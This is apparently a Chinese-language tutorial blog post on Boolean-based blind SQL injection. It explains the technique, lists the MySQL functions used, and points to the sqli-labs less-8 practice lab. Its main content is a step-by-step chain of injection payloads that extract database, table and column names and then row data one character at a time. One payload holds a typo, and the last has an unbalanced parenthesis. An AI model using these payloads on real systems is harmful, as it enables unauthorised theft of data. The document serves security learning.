布尔盲注

简介: 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。

布尔盲注

简介

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。

布尔盲注需要用到的函数

Length()    返回字符串的长度

Substr()    截取字符串

Ascii()      返回字符的ascii码

sleep(n)  将程序挂起一段时间 n为n秒

if(expr1,expr2,expr3)  判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

ascii字符代码表

image-20220713150502362.png

靶场利用

可以利用sqli-labs-master中的less-8

布尔盲注原理

通过页面是否报错来判断语句的正确性,利用函数的特性来得到数据

布尔盲注思路总结

substr(a,b,c) 其中a表示字符串,b表示从第几位开始截取(最小值为1),c表示截取几位

limt 0,1 表示从从第一个数据开始,截取第一个数据

查看是否存在注入点-->


判断注入类型-->


查看页面是否存在输出|是否存在报错提示-->


判断数据库名长度-->and length(database())>数字


得到数据库库名-->and ascii(substr(database(),1,1))=数字


判断表的数量-->and (select count(*) from information_schema.tables where table_schema='库名')>数字


依次判断表名的长度-->and (length((select table_name from information_schema.tables where table_schema='库名' limit 0,1)))>数字


依次得到表名-->and (ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1)))=数字


判断表中字段个数-->and (select count(*) from information_schema.columns where table_name='表名' and table_schema='库名')>数字


依次判断表中字段名的长度-->and (length((select column_name from information_schema.columns where table_name='表名' and table_schema='库名' limit 0,1)))>数字


依次判断表的字段名 --> and ascii(substr((select column_name from information_schema.columns where table_name='表名' and table——schema='库名' limit 0,1),1,1))=数字


依次判断字段中数据的长度-->and (length((select 字段名 from 表名 limit 0,1)))>数字


依次得到字段中的数据-->and ascii(substr((select 字段名 from 表名 limit 0,1 ),1,1)))=x

目录
相关文章
|
9月前
|
SQL 前端开发 Java
SQL注入天书笔记(1)布尔盲注
SQL注入天书笔记(1)布尔盲注
100 0
|
9月前
|
SQL JSON 数据库
常见的sql注入类型闭合及符号
常见的sql注入类型闭合及符号
262 0
|
SQL 关系型数据库 MySQL
盲注
在SQL注入过程中,应用界面仅仅返回True(页面)或者False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。可以通过构造逻辑判断(比较大小)来得到需要的信息。
|
XML SQL 安全
[NPUCTF2020]ezlogin (xpath盲注)
[NPUCTF2020]ezlogin (xpath盲注)
214 0
|
9月前
|
关系型数据库 MySQL 数据库
Mysql注入 -- 布尔注入
Mysql注入 -- 布尔注入
62 0
|
数据建模 编译器 C语言
布尔表达式
题目链接:http://noi.openjudge.cn/ch0303/6263/ 总时间限制: 1000ms    内存限制: 65536kB 描述 输入一个布尔表达式,请你输出它的真假值。
1247 0
|
JavaScript
第12天 :布尔值和关系运算符
一、布尔值 数值型里面的值,有无穷多个,因为世界上所有的数字,都是数值型;字符串型的值,有无穷多个,因为世界上所有的文字、语句都是字符串型;布尔类型的值,就两个,true、false。true 真false 假 var a = true;var b = false;console.log(a); //输出console.log(b); //输出console.log(typeof a); //输出类型console.log(typeof b); //输出类型 布尔值,直接使用就可以了,千万不要加上引号。
1181 0
|
开发者
布尔类型转换|学习笔记
快速学习 布尔类型转换
126 0
|
9月前
|
Python Windows
python语法中错误的运算符或分隔符
【5月更文挑战第19天】python语法中错误的运算符或分隔符
87 1
|
9月前
|
数据库
15、延时布尔盲注(Post)
15、延时布尔盲注(Post)
55 0

热门文章

最新文章